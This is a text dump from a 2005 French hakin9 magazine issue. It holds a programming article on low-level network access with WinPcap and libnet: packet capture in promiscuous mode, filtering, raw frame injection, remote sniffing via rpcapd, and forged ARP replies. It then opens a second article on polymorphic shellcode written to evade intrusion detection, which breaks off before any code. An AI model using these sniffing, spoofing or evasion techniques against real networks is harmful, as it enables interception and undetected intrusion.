ple consiste à employer des sockets réseau bruts (en anglais raw socket), mais dans ce cas, il est impossible de commander toutes les options des paquets envoyés – une partie du champs dans les en-têtes est gérée par le pilote des sockets. Pour vous faciliter la vie, vous pouvez employer la bibliothèque WinPcap, disponible à l'adresse http://www.winpcap.org/. Cette bibliothèque permet non seulement l'enregistrement et la lecture de bas niveau à partir des périphériques réseau, mais aussi le filtrage avancé des données qui sont mises systématiquement sur écoute ainsi que la mise en page des statistiques de chaque interface. Une possibilité supplémentaire est l'enregistrement directe des paquets sur le disque dur effectué au niveau du noyau système. Cela améliore de façon importante la performance de l'enregistrement en réduisant le temps des appels système.

www.hakin9.org

L'interface de la bibliothèque est claire et simple d'emploi, mais ne fournit pas de mécanismes supportant la création des paquet de niveaux plus élevés. Ici, c'est la bibliothèque libnet (http://www.packetfactory.net/libnet/) qui peut vous aider. Les fonctions qu'elle offre permettent de construire plus facilement des paquets de niveaux élevés, tels que ARP, IP, TCP, ou même plus rare comme VRRP – et de les envoyer vers le réseau de manière à ne pas être contrôlée par le pilote TCP/IP.

Structure de WinPcap

La bibliothèque WinPcap se compose de trois composants – d'un pilote fonctionnant en mode noyau de bas niveau, d'une bibliothèque de bas niveau packet.dll, et d'une bibliothèque de haut niveau wpcap.dll indépendante du système. Le pilote du noyau s'occupe de la fonctionnalité de la bibliothèque et communique directement avec les pilotes des interfaces réseau. Le module du noyau, appelé par les auteurs de la bibliothèque : Netgroup Packet Filter (en abrégé NPF), fonctionne en tant que pilote NDIS Protocol Driver (de même que le pilote TCP/IP intégré dans le système Windows). Cela lui permet l'accès au pilote de la carte réseau qui serait indépendant de la couche MAC. Pour chaque version du système d'exploita-

hakin9 Nº 6/2005

59

Programmation

Listing 1. Le choix de l'interface et l'initialisation de la bibliothèque WinPcap pcap_if_t *alldevs,*d; pcap_t *fp; char errbuf[PCAP_ERRBUF_SIZE+1]; int i=0,inum=0; /* Retrouver les interfaces WinPcap */ if (pcap_findalldevs(&alldevs, errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); return -1; } /* Saisir la liste des interfaces */ for(d=alldevs; d; d=d->next) { printf("%d.\t%s", ++i, d->name); if (d->description) printf("\n\t\t(%s)\n", d->description); else printf(" (No description available)\n"); } if(i==0) { printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); return -1; } printf("Enter the interface number (1-%d):",i); scanf("%d", &inum); if(inum < 1 || inum > i) { printf("\nInterface number out of range.\n"); /* Libérer les ressources réseau */ pcap_freealldevs(alldevs); return -1; } /* Sauter au périphérique réseau sélectionné */ for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++); /* Ouvrir le périphérique réseau */ if ( (fp=pcap_open(d->name, 100 /*snaplen*/, PCAP_OPENFLAG_PROMISCUOUS /*flags*/, 20 /*read timeout*/, NULL /* remote authentication */, errbuf) ) == NULL) { fprintf(stderr,"\nError opening adapter\n"); pcap_freealldevs(alldevs); return -1; }

tion (Windows 95/98/ME/NT4/2000/ XP), un autre pilote est fourni. Le pilote fonctionnant en mode noyau serait inutile sans bibliothèques fonctionnant en mode utilisateur qui permettent de profiter des propriétés de celui-ci. WinPcap contient deux bibliothèques communiquant avec le module du noyau et qui offrent une interface de bas niveau (dans la bibliothèque packet.dll) et de haut niveau (dans la bibliothè-

60

hakin9 Nº 6/2005

que wpcap.dll). Le premier permet un appel direct des fonctions des pilotes du noyau, et le second offre une interface indépendante du système et conforme au libpcap de *NIX.

Programmation de WinPcap

L'utilisation d'une interface conforme à libnet permet l’écriture de programmes portables – fonctionnant aussi bien sous Windows que sous Linux. Le travail avec cette bibliothèque

www.hakin9.org

Compilateur

Pour compiler le programme utilisant les bibliothèques WinPcap et libnet, on peut faire appel à la plupart des compilateurs disponibles sur le marché. À moins que la bibliothèque WinPcap ne soit disponible que pour la plateforme Windows, libnet peut être compilée sous Linux comme FreeBSD. Pour la compilation, on peut utiliser par exemple le gratuiciel gcc, ou Visual Studio .NET qui est commercialisé. Attention – un problème peut se produire dans le cas du compilateur Borland C++ Builder qui utilise un format de bibliothèques différent – appelé OMF (en anglais Object Module Format). Pour pouvoir en profiter, il faut convertir les bibliothèques compilées du format COFF (en anglais Common Object File Format) en OMF. Pour ce faire, on peut utiliser l'outil coff2omf.exe, disponible avec le logiciel de l'entreprise Borland.

peut être divisé en trois étapes : l'initialisation (le choix du périphérique réseau, l'application des filtres et l'ouverture de l'interface), le travail avec le périphérique (le chargement et l'envoi des paquets) et la libération des ressources allouées. Le premier pas consiste à charger tous les identificateurs d’interfaces disponibles dans le système. Pour cela, on dispose de la fonction à deux arguments pcap _ findalldevs(), dont le premier argument est un pointeur vers la structure pcap _ if _ t, et le deuxième – un pointeur vers le tampon stockant les erreurs. Quant à la structure pcap _ if _ t, ce qui vous intéressent, sont les valeurs des deux champs : name et description. La fonction pcap _ findalldevs() a une portée locale. Cela veut dire qu'elle ne permet que de rechercher les périphériques disponible de l'ordinateur sur lequels le programme a été lancé. La plupart des fonctions WinPcap opère sur la structure identifiant l'interface (pcap _ t). Pour initialiser cette variable, il faut utiliser par exemple la fonction pcap _ open(), dont les tâches consistent, entre autres, à ouvrir le périphérique et à initialiser les tampons. L'exemple du code permettant de choisir le périphérique

Accès de bas niveau au réseau

réseau et d'initialiser les variables a été présenté dans le Listing 1. Les paramètres de la fonction pcap _ open() sont respectivement : le nom de l'interface, la taille maximale du paquet, le drapeau déterminant si l'interface sera ouvert en mode promiscuous, la durée d'attente du paquet par la fonction chargeant les paquets, la variable responsable de l'autorisation sur une machine distante (utilisée en cas d'une interception distante des paquets) et le tampon stockant les messages d'erreur. Le mode promiscuous doit être activé au cas où l'on veut intercepter les paquets adressés aux autres utilisateurs du réseau. Si votre carte réseau est connecté à un commutateur (switch) au lieu d’un concentrateur (hub), le fait de commuter la carte ne produira pas l'effet attendu. Cela résulte du schéma de fonctionnement du commutateur. Dans cette situation, il faut soit exploiter l'interception des paquet à distance, soit essayer de contraindre le commutateur à travailler en mode multiplicateur. C'est possible, par exemple, à l'aide de la méthode ARP spoofing. La fermeture de l'interface se fait au moyen de la fonction a un argument pcap _ close(), dont l'argument est la variable de type pcap _ t. Lors de la fermeture de l'application, il faut libérer les ressources allouées par pcap _ findalldevs(). Pour cela, il faut exécuter la fonction pcap _ freealldevs().

Écouter le réseau

Le téléchargement des paquets réseau peut se faire de deux manières – par le chargement séquentielle des paquets et par l'enregistrement de la fonction qui sera appelée après un certain nombre de paquets obtenus. Dans cet article, seulement une d'elles sera présentée – à l’aide de la fonction pcap _ next _ ex(). Les paramètres de cette fonction sont : le pointeur vers l'identificateur WinPcap ( pcap _ t), le pointeur vers la structure de l'entête du paquet (struct pcap _ pkthdr – contenant des informations telles que le temps de paquet et la taille des données) et le pointeur vers le tableau

Listing 2. La boucle principale interceptant les paquets struct pcap_pkthdr *header; const u_char *pkt_data; int res; /* Lire les paquets et les écrire sur l'écran*/ while((res = pcap_next_ex( fp, &header, &pkt_data)) >= 0) { if(res == 0) /* Le temps d'attente du paquet a dépassé */ continue; /* Saisir le temps de réception du paquet et sa taille */ printf("%ld:%ld (%ld)\n", header->ts.tv_sec, header->ts.tv_usec, header->len); /* Saisir le contenu du paquet */ for (i=1; (i < header->caplen + 1 ) ; i++) { printf("%.2x ", pkt_data[i-1]); if ( (i % LINE_LEN) == 0) printf("\n"); } printf("\n\n"); }

Listing 3. Le contenu du paquet intercepté 1119431977:531612 00 0b 6a 8d 54 15 00 3c 22 b6 00 00 01 02 00 00 4f 5c 67 68 69 6a 6b 6c 77 61 62 63 64 65

(74) 00 a1 80 01 02 00 6d 6e 66 67

b0 94 04 6f 68

08 b5 00 70 69

8b c0 61 71

cc a8 62 72

08 01 63 73

dans lequel le contenu du paquet sera enregistré. Le Listing 2 illustre comment profiter de ce mécanisme. À la suite de l'exécution du code ci-dessus, le contenu du paquet intercepté, similaire à celui présenté dans le Listing 3, sera affiché sur l'écran. Ensuite, le développeur doit identifier les en-têtes des protocoles des couches consécutives. À moins de déterminer le type de couche de liaison de données à l'aide de la fonction pcap _ datalink(), l'analyse de la suite du paquet doit être effectuée manuellement. La bibliothèque offre la possibilité de filtrer le trafic réceptionné. Le filtre appliqué est conforme à la spécification disponible sur le site http://www.tcpdump.org et aide à effectuer une sélection détaillée des paquets. Le filtre doit être configuré après l'initialisation de l'interface ; le filtre WinPcap est une fonction booléenne dont l'argument est le paquet, la valeur retournée décide de l'acceptation ou du refus d'un paquet (0 = faux, 1 = vrai).

www.hakin9.org

00 03 64 74

45 c0 65 75

00 a8 66 76

Pour accélérer l'exécution de la fonction de filtrage, la bibliothèque WinPcap compile pendant le fonctionnement l'expression filtrante qui prend une forme binaire. Elle est stockée dans la structure struct bpf _ program , et compilée à l'aide de la fonction pcap _ compile(). Après la compilation du filtre, celui-ci est appliqué sur l'interface par la fonction pcap _ setfilter(). L'exemple d'un code réalisant le filtrage est présenté dans le Listing 4.

Envoi des paquets

Les possibilités de la bibliothèque ne se limitent pas à la consultation et au filtrage des paquets ; WinPcap permet aussi l'envoi de paquets bruts. Cette propriété de la bibliothèque est appelée dans la documentation Windows specific et l'API responsable de l'envoi n'est pas conforme à la spécification libpcap. Pour envoyer une portion de données brutes dans le réseau, il faut utiliser la fonction pcap _ sendpacket(). Le Listing 5 présente comment envoyer un tel paquet.

hakin9 Nº 6/2005

61

Programmation

Listing 4. Le filtrage du trafic struct bpf_program fcode; bpf_u_int32 NetMask=0xffffff; char* filter = "icmp"; /* Compiler le filtre */ if(pcap_compile(fp, &fcode, filter, 1, NetMask) < 0) { fprintf(stderr,"\nError compiling filter: wrong syntax.\n"); return -1; } /* Configurer le filtre */ if(pcap_setfilter(fp, &fcode)<0) { fprintf(stderr,"\nError setting the filter\n"); return -1; }

Listing 5. L'envoi des trames ethernet u_char memtowrite[pkt_len]; /* << Ici, on formate le paquet ethernet ** en configurant ses champs respectifs ** Ensuite, on l'envoie dans le réseau */ int result = pcap_sendpacket (fp, (u_char *) &memtowrite, pkt_len); if (result == -1) { fprintf(stderr,"\nError sending packet\n"); return; }

Sniffeur distant

Imaginez la situation où vous devez écrire une application fonctionnant comme moniteur réseau et opérant sur des données distantes (cf. la Figure 4). Même si l'écoute du trafic des ordinateurs 2, 3 et 5 soit simple

à réaliser au moyen des fonctions WinPcap dont il a été déjà parlé, l'écoute du trafic dans la station 1 et 4 peut, à première vue, poser de problèmes – ces postes sont situés hors réseau de la station de surveillance dans lequel se trouve le sniffeur.

Figure 4. L'architecture d'un sniffeur distant possible à réaliser

62

hakin9 Nº 6/2005

www.hakin9.org

Il s'avère aussi que dans ce cas, il est possible d'exploiter la bibliothèque WinPcap car elle permet l’interception distante des paquets. Deux parties interviennent dans le schéma : un sniffeur (un écoutant) et un client qui envoie les commandes et réceptionne les paquets interceptées par l'ordinateur effectuant l'écoute. Cette possibilité a été introduite dans la troisième version de la bibliothèque et est en phase d'expérimentations, pourtant, elle fonctionne assez bien et on peut l'utiliser. De plus, cette fonctionnalité n'est pas exigeante – de trop grosses modifications du code source ne sont pas nécessaires. Si le programme du client a bien été écrit, aucune modification n'est nécessaire. Pour que le sniffing à distance fonctionne, il faut configurer l'ordinateur qui écoute de façon appropriée. Outre l'installation de la bibliothèque, il faut lancer le service rpcapd qui effectue l'écoute et envoie les données vers le client. Vous pouvez activer ce service de deux manières : à l'aide de la ligne de commande, lancez le programme rpcapd.exe ou à l'aide de MMC et son complément Service lancez Remote Packet Capture Protocol v.0 (experimental).

Dans cas, les options de sont présentes dans (l'emplacement par

le deuxième configuration le fichier .ini défaut : C:\

Accès de bas niveau au réseau

Program

Files\WinPcap\rpcapd.ini).

Dans le premier cas, les options sont définies directement dans la ligne de commande :

Tableau 1. La description des options du programme rpcapd.exe

rpcapd [-b

] [-p <port>] [-6] [-l ] [-a ] [-n] [-v] [-d] [-s ] [-f ]

Le service peut être lancé en deux modes : • •

Description

-b

Configure l'adresse sur lequel le service effectuera l'écoute. Par défaut, ce service écoute autant sur une adresse IPv4 qu'IPv6.

-p <port>

Détermine le port sur lequel le service écoute. Par défaut, c'est le port 2002.

-4

Le service n'écoute que sur l'adresse IPv4.

-l
Détermine le fichier contenant la liste des hôtes pouvant se connecter au service, divisés par les sauts de ligne.

file>

passif, actif.

En mode passif, la station de surveillance (client) se connecte au service distant, lui envoie les commandes qui permettent au service d'intercepter les trames et les envoie vers le client. Ce mode est un mode par défaut. En mode actif, le service distant essaie d'établir la connexion avec le client qui, après réception de la connection envoie les commandes pour commencer l'écoute réseau. Ce mode est employé en cas de présence de pare-feux à l’intérieur des réseaux mis sur écoutes. Si un parefeu refuse les connexions entrantes, mais laisse échapper les connexions sortantes, il faut utiliser ce mode. Une fois la connexion établie – aussi bien en mode actif que passif – les communications vers le client et vers le service sont identiques. De même qu'en cas de travail en local, il faut sélectionner un périphérique distant à ouvrir. Pour avoir la liste des périphériques, on peut utiliser la fonction pcap _ findalldevs _ ex() qui, prend l'argument de type pcap _ rmtauth . Cette variable détermine le type et les paramètres d’autorisation sur la machine distante. Les options possibles sont : RPCAP _ RMTAUTH _ PWD en cas d'authentification par nom utilisateur et mot de passe et RPCAP _ RMTAUTH _ NULL en cas de manque d'authentification (c'est ce qu'on appelle l’authentification NULL). Le premier paramètre de la fonction recherchant les interfaces définit quelle interface, locale ou distante, sera ouverte et pointe vers l'adresse d'hôte ainsi que son port.

Options

-n

Permet d'omettre l'autorisation. Par défaut, il faut indiquer dans le paramètre de la fonction le nom et le mot de passe utilisateur.

-a

Lance le service en mode actif et le contraint à se connecter à l'ordinateur définit par les paramètres. Si le port n'est pas déterminé, par défaut le port 2003 est utilisé.

-v

Lance le service uniquement en mode actif. Par défaut, après la saisie du paramètre, le service écoute aussi en mode passif.

-d

Lance le service (ou démon sur un système de type *NIX).

-s

Enregistre la configuration actuelle dans un fichier.

-f

Lit la configuration du fichier.

-h

Affiche la liste des commutateurs avec leur description.

Les schémas possibles pour ce paramètre sont : • • •

– affiche la liste des fichiers dans un répertoire, rpcap:// – affiches toutes les interfaces locales, rpcap://host:port/ – comme ci-dessus, mais concerne l'hôte distant. file://folder/

S’il s'agit de l'expression la bibliothèque admet : • • • • •

host:port ,

hôte (en lettres) : par exemple www.hakin9.org, hôte (en chiffres IPv4) : par exemple 157.158.181.42, hôte (en chiffres IPv4, IPv6) : par exemple [157.158.181.42], hôte (en chiffres IPv6) : par exemple [1:2:3::4], port : en chiffres (par exemple 80) ou en lettres (par exemple ftp ).

À la suite de l'emploi de la fonction pcap _ findalldevs _ ex(), la liste des

www.hakin9.org

noms des interfaces retournées (le champ name dans la structure de type pcap _ if _ t) sera aussi conforme au schéma mentionné ci-dessus (rpcap://adresse:port/). Si on définit manuellement l'interface du périphérique ouvert (le paramètre source de la fonction pcap _ open()), il est interdit d'utiliser rpcap:// pour ouvrir la première interface locale et rpcap://host/ pour ouvrir la première interface sur la machine distante (cf. le Listing 6). Il ne faut pas oublier d'utiliser la variable de type pcap _ rmtauth lors de l'appel de la fonction pcap _ open(). Sinon, le système distant ne permettra pas d'ouvrir le périphérique. Ces petites modifications permettent d'exploiter pleinement le périphérique distant. Le reste du programme (la partie responsable du filtrage, du téléchargement et de l'envoi des paquets) ne change pas. Comme il a été déjà mentionné, WinPcap peut fonctionner en mode actif et passif. Cette méthode décrit

hakin9 Nº 6/2005

63

Programmation

Listing 6. L'initialisation de la bibliothèque et l'ouverture d'un périphérique distant pcap_if_t *alldevs,*d; pcap_t *fp; char errbuf[PCAP_ERRBUF_SIZE+1]; int i=0,inum=0; struct pcap_rmtauth auth; #define RC_HOST_NAME "192.168.0.9:2002" /* Configurer le mode d'autorisation utilisant le nom et le mot de passe utilisateur */ auth.type = RPCAP_RMTAUTH_PWD; auth.username = "koyot"; auth.password = "walec4tylkokampi"; /* Trouver les interfaces WinPcap */ if (pcap_findalldevs_ex (PCAP_SRC_IF_STRING RC_HOST_NAME, /* rpcap://host:port/ */ &auth, /* Autorisation distante */ &alldevs, /* Liste de périphériques */ errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); return -1; } /* Écrire la liste des interfaces */ for(d=alldevs; d; d=d->next) { printf("%d.\t%s", ++i, d->name); if (d->description) printf("\n\t\t(%s)\n", d->description); else printf(" (No description available)\n"); } if(i==0) { printf("\nNo interfaces found! Make sure WinPcap is installed.\n"); return -1; } printf("Enter the interface number (1-%d):",i); scanf("%d", &inum); if(inum < 1 || inum > i) { printf("\nInterface number out of range.\n"); /* Libérer les ressources réseau */ pcap_freealldevs(alldevs); return -1; } /* Sauter au périphérique réseau sélectionné */ for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++); /* Ouvrir le périphérique réseau */ if ( (fp=pcap_open(d->name, /* Nom du périphérique */ 100, /* Taille des données interceptées */ PCAP_OPENFLAG_PROMISCUOUS, /* drapeaux */ 20, /* Le temps après lequel le timeout aura lieu */ &auth, /* Autorisation distante */ errbuf) ) == NULL) { fprintf(stderr,"\nError opening adapter\n"); pcap_freealldevs(alldevs); return -1; }

le mode de connexion passif. Pour lancer l'interception en mode actif, il faut commencer à modifier les

64

hakin9 Nº 6/2005

paramètres de la machine interceptant les paquets en ajoutant l'option -a à la commande permettant de

www.hakin9.org

démarrer le service rpcapd ou lancer ce mode à partir de la ligne de commande : rpcapd.exe -a -v

Ensuite, il faut modifier le code de façon à ce qu'avant la recherche de périphériques par la fonction pcap _ findalldevs _ ex(), celui-ci attende et accepte les connexions d'un service distant (cf. le Listing 7). Le mode actif n'est donc accessible qu'au moyen d'une seule fonction. Il suffit de lui donner en paramètres la liste des adresses que le service doit écouter ainsi que le port et la liste des hôtes pouvant se connecter pour déterminer les paramètres de connexion. La fonction retourne le nom de l'hôte qui est actuellement connecté. La valeur de type SOCKET retournée par la fonction pcap _ remoteact _ accept() est un peu trompeuse. Ce n'est pas un socket réseau, mais la valeur identifiant la connexion active et utilisée intérieurement par WinPcap. De même que dans le mode passif, le reste du code ne change pas. Une fois le travail avec l'interface distant terminé, il faut terminer la connexion et libérer les ressources (pcap _ remoteact _ close(), pcap _ remoteact _ cleanup()).

Aide de WinPcap

La configuration manuelle des protocoles du model ISO/OSI peut s’avérer intéressante car on peut contrôler pleinement ce que l'on envoie sur le réseau. Pourtant, certaines opérations peuvent être automatisées grâce à l'utilisation de la bibliothèque libnet, sans perdre pour autant le contrôle de son contenu.

Initialisation de libnet

La bibliothèque libnet est initialisée de façon similaire à WinPcap. Pour cela, vous disposez de la fonction libnet _ init() dont les trois arguments sont : la méthode d'injection des paquets, le nom du périphérique (l'argument similaire à celui de WinPcap) et le tampon stockant les erreurs.

Accès de bas niveau au réseau

Exemple pratique

hakin9.live contient un exemple pratique de l'utilisation des bibliothèques WinPcap et libnet. L'exemple est basé sur les principes suivants : Un réseau local LAN se compose de dix ordinateurs. Admettez que vous n'avez pas d’accès direct au routeur avec les droits d'administration (disons que l'administrateur est partie en vacances), et vous avez constaté qu'un ordinateur a été connecté au réseau d'une façon illégale. Il n'y a pas de moyen d'en informer l'administrateur, et le réseau n'est pas protégé contre de telles situations (le pare-feu laisse passer tous ce qui provient du réseau local – aucune liste d'accès n'a été définie). Pour bloquer à l'intrus l'accès au réseau, vous avez inventé un programme qui envoie à celui-ci de fausses réponses ARP avec des liens MAC<->IP incorrects.

libnet_t * libnet_init (int injection_type, char *device, char *err_buf)

La fonction initialisant retourne le pointeur à ce que l’on appelle contexte du périphérique qui est exploité dans les autres fonctions de libnet. Pour fermer ce contexte, on utilise la fonction libnet _ destroy(), qui libère aussitôt les ressources allouées. void libnet_destroy ( libnet_t * l )

La bibliothèque libnet peut exploiter aussi bien les sockets bruts que les fonctionnalités fournies par WinPcap – et plus précisément l’API conforme à libpcap. Pour déterminer la couche à laquelle l'on veut envoyer les paquets, on dispose du paramètre injection _ type de la fonction libnet _ init(). Toutes les valeurs possibles apparaissent comme paires dont l'une se termine par le suffixe _ ADV. Il permet d'utiliser des fonctions supplémentaires inaccessibles pour une interface ouverte en mode ordinaire, telles que, par exemple, l'accès aux tampons utilisés pour stocker les paquets construits.

Listing 7. Le lancement de l'interception des paquets en mode actif pcap_if_t *alldevs,*d; pcap_t *fp; char errbuf[PCAP_ERRBUF_SIZE+1]; int i=0,inum=0; struct pcap_rmtauth auth; SOCKET retval; char connectingHost[RPCAP_HOSTLIST_SIZE]; /* Configurer le mode d'autorisation utilisant le nom et mot de passe utilisateur */ auth.type = RPCAP_RMTAUTH_PWD; auth.username = "user"; auth.password = "adumbpassword"; /* Attendre la connexion de l'hôte distant à nous */ while ( (retval = pcap_remoteact_accept( NULL,/* Écouter sur tous les ports possibles */ NULL,/* Utiliser le port par défaut */ NULL,/* Pas de liste d'ordinateurs pouvant se connecter */ connectingHost, &auth, errbuf ) ) == -1) { fprintf(stderr,"Connection to host: %s cannot be established: %s\n", connectingHost, errbuf); Sleep(1000); } if (retval < 0 ) { fprintf(stderr,"Error in pcap_remoteact_accept():%s\n", errbuf); return -1; } /* Préparer 'connection string' – rpcap://host ** à l'aide de la fonction de bibliothèque */ char remstring[PCAP_BUF_SIZE]; ZeroMemory(remstring,PCAP_BUF_SIZE); if ( pcap_createsrcstr(remstring, /* tampon du connection string*/ PCAP_SRC_IFREMOTE, /* ce qui nous intéresse, c'est l'interface distante */ connectingHost, /* l'adresse de l'hôte auquel nous sommes connectés */ NULL, /* port par défaut */ NULL, /* nous ne connaissons pas encore le nom de l'interface */ errbuf) == -1 ) { fprintf(stderr,"Error in pcap_createsrcstr: %s\n", errbuf); return -1; } /* Trouver les interfaces WinPcap */ if (pcap_findalldevs_ex(remstring, /* rpcap://host:port/ */ &auth, /* Autorisation distante */ &alldevs, /* Liste de périphériques */ errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf); return -1; }

Construction du paquet

Libnet permet la création de plusieurs en-têtes de différents protocoles. La construction d'un paquet se fait à partir la couche inférieure. C'est l'ordre des appels qui compte – par exemple, tout d'abord TCP, ensuite

www.hakin9.org

IP, et à la fin Ethernet. La bibliothèque numérote chaque en-tête à l'aide de la variable de type libnet _ ptag _ t (étant en fait la variable int32 _ t) ; à la couche supérieure (p.ex. TCP), le numéro 1 est affecté, et à l'inférieure – 3 (en cas des en-têtes TCP,

hakin9 Nº 6/2005

65

Programmation

Tableau 2. Les arguments possibles pour le paramètre injection_type de la fonction libnet_init Valeur de l'argument

Description

LIBNET_LINK, LIBNET_LINK_ADV

Construction des paquets à partir de la couche de liaison de données.

LIBNET_RAW4, LIBNET_RAW4_ADV

Pour envoyer les paquets, utilise les sockets bruts IPv4.

LIBNET_RAW6, LIBNET_RAW6_ADV

Pour envoyer les paquets, utilise les sockets bruts IPv6.

Tableau 3. Les fonctions les plus importantes composant un paquet Les plus importantes fonctions libnet composant un paquet libnet _ ptag _ t libnet _ build _ tcp _ options (u _ int8 _ t *options, u _ int32 _ t options _ s, libnet _ t *l, libnet _ ptag _ t ptag) libnet _ ptag _ t libnet _ build _ tcp (u _ int16 _ t sp, u _ int16 _ t dp, u _ int32 _ t seq, u _ int32 _ t ack, u _ int8 _ t control, u _ int16 _ t win, u _ int16 _ t sum, u _ int16 _ t urg, u _ int16 _ t len, u _ int8 _ t *payload, u _ int32 _ t payload _ s, libnet _ t *l, libnet _ ptag _ t ptag) libnet _ ptag _ t libnet _ build _ udp (u _ int16 _ t sp, u _ int16 _ t dp, u _ int16 _ t len, u _ int16 _ t sum, u _ int8 _ t *payload, u _ int32 _ t payload _ s, libnet _ t *l, libnet _ ptag _ t ptag) libnet _ ptag _ t libnet _ build _ ipv4 (u _ int16 _ t len, u _ int8 _ t tos, u _ int16 _ t id, u _ int16 _ t frag, u _ int8 _ t ttl, u _ int8 _ t prot, u _ int16 _ t sum, u _ int32 _ t src, u _ int32 _ t dst, u _ int8 _ t *payload, u _ int32 _ t payload _ s, libnet _ t *l, libnet _ ptag _ t ptag) libnet _ ptag _ t libnet _ build _ arp (u _ int16 _ t hrd, u _ int16 _ t pro, u _ int8 _ t hln, u _ int8 _ t pln, u _ int16 _ t op, u _ int8 _ t *sha, u _ int8 _ t *spa, u _ int8 _ t *tha, u _ int8 _ t *tpa, u _ int8 _ t *payload, u _ int32 _ t payload _ s, libnet _ t *l, libnet _ ptag _ t ptag) libnet _ ptag _ t libnet _ build _ ethernet (u _ int8 _ t *dst, u _ int8 _ t *src, u _ int16 _ t type, u _ int8 _ t *payload, u _ int32 _ t payload _ s, libnet _ t *l, libnet _ ptag _ t ptag)

66

hakin9 Nº 6/2005

IP, Ethernet). Si en argument de la fonction de construction on passe 0, l'en-tête sera construit de nouveau. Dans le cas contraire, une partie du paquet définie par la variable de type libnet _ ptag _ t sera remplacée. Une fois le paquet construit, il est envoyé par la fonction libnet _ write().

À propos de l’auteur

Konrad Malewski a terminé les études en informatique, il s'occupe de l'administration de plusieurs réseaux. Il est spécialiste en programmation et en sécurité des systèmes réseau.

Pas si compliqué

Comme vous voyez, l'utilisation des bibliothèques WinPcap et libnet n'est pas difficile et offre de vastes possibilités. Nous vous invitons à prendre connaissance de la documentation des paquets et de les utiliser dans tous les programmes nécessitant l'accès au réseau de bas niveau. l

Terminologie •

•

•

•

NDIS – (en anglais Network Driver Interface Specification) – L'API de bas niveau définissant les formes des fonctions exportées par les pilotes des cartes réseau, les filtres et les pilotes des protocoles (p.ex. MS TCP/IP), TDI – (en anglais Transport Driver Interface) – les pilotes donnant accès à l'interface TDI fonctionnent et donne accès à son interface ainsi qu’aux bibliothèques opérant en mode utilisateur. Autrement dit, c'est un intermédiaire entre le client TDI (p. ex. WINSOCK) et le pilote de bas niveau NDIS, MAC – (en anglais Medium Access Control) – cet acronyme peut est compris de deux manières : en tant que couche ISO/OSI ou en tant qu’adresse de la carte réseau de 48 bits. Les deux notions sont étroitement liées l'une à l'autre. La couche MAC contient un en-tête (p. ex. ethernet) qui est composé des adresses MAC. Chaque adresse MAC est affectée à une carte réseau et doit être unique à l’intérieur du réseau local. À présent, la plupart des cartes réseau et des systèmes d'exploitation offrent la possibilité de modifier l'adresse MAC de la carte réseau, Sniffeur – un programme dont la tâche consiste à intercepter des données traversant le réseau. Les sniffeurs sont souvent dotés de fonctions auxiliaires permettant l'analyse, le filtrage ou le déchiffrage. Par défaut, la carte réseau transmet au système d'exploitation uniquement des trames qui lui sont adressées (le champ adresse MAC cible de la trame Ethernet continent l'adresse physique de la carte réseau). Le Sniffeur peut mettre la carte réseau en mode promiscuous et intercepter aussi les trames dont l'adresse cible est différente de l'adresse MAC de la carte réseau.

Sur Internet • • • • • • •

http://www.winpcap.org/ – le site du projet WinPcap, http://www.packetfactory.net/ – le site du paquet libnet et d'autres outils réseau tels que libnet, ngrep, ISIC et autres, http://www.ethereal.com/ – le site de l'analyseur des protocoles réeau Ethereal, http://www.oxid.it/ – beaucoup de programmes utilisant WinPcap, http://webteca.altervista.org/dsniff.htm – l'implémentation du paquet dsniff sous Win32, http://www.insecure.org/ – le scanneur réseau Nmap, http://msdn.microsoft.com/library/default.asp?url=/library/en-us/randz/protocol/ tcp_ip_stack_architecture.asp – l'architecture de la pile TCP/IP sous Windows.

www.hakin9.org

Créer un shellcode polymorphique Programmation Michał Piotrowski

Degré de difficulté

Grâce à l'article publié dans le numéro précédent de hakin9, vous avez appris à créer et modifier le shellcode. Vous avez eu également l'occasion de connaître les problèmes de base liés à sa structure et les techniques permettant de les contourner. Grâce à cet article, vous allez apprendre ce qu'est le polymorphisme et comment écrire les shellcodes non identifiables par les systèmes IDS.

L

orsque vous réalisez une attaque contre un service réseau, il y a toujours un risque que vous soyez repéré par un système de détection d'intrusions (en anglais Intrusion Detection System – IDS) et que malgré la réussite de l'attaque, l'administrateur vous identifie vite et qu'il vous déconnecte du réseau attaqué. C'est incontournable car la plupart des shellcodes ont une structure similaire, utilisent les mêmes appels système et les instructions assembleur et il est donc facile de créer pour ces shellcodes des signatures universelles. La solution partielle à ce problème est la création de shellcode polymorphique qui n'aura pas les caractéristiques propres aux shellcodes typiques, mais qui réalisera en même temps les mêmes fonctionnalités. Cela peut paraître difficile à réaliser, mais si vous arrivez à maîtriser la structure du shellcode lui-même, cela ne vous posera aucun problème. Tout comme dans l'article Optimisation des shellcodes dans Linux publié dans hakin9 5/2005, votre point de départ sera la plateforme x86 de 32 bits, le système Linux avec le noyau de la série 2.4 (tous les exemples fonctionnent également dans les systèmes dotés de noyau de la série 2.6) et les outils Netwide Assembler (nasm) et hexdump.

68

hakin9 Nº 6/2005

Pour ne pas commencer dès le début, utilisez trois logiciels créés au préalable. Prenez comme exemple deux shellcodes write4.asm et shell4.asm. Leurs codes source sont présentés sur les Listings 1 et 2 et la méthode pour les convertir en code assembleur est démontrée sur les Figures 1 et 2. Pour tester vos shellcodes, utilisez le logiciel test.c présenté sur le Listing 3.

Shellcode développé

Votre objectif est d'écrire un code constitué des deux éléments suivants : la fonction de décodeur et le shellcode encodé. Après avoir lancé le code et après s'être retrouvé dans la mémoire tampon

Cet article explique... • •

comment écrire un shellcode polymorphique, comment créer un programme donnant aux shellcodes les traits polymorphiques.

Ce qu'il faut savoir... • •

www.hakin9.org

vous devez savoir utiliser le système Linux, vous devez connaître les règles de programmation en C et en assembler.

Shellcode polymorphique

Listing 1. Fichier write4.asm

Polymorphisme

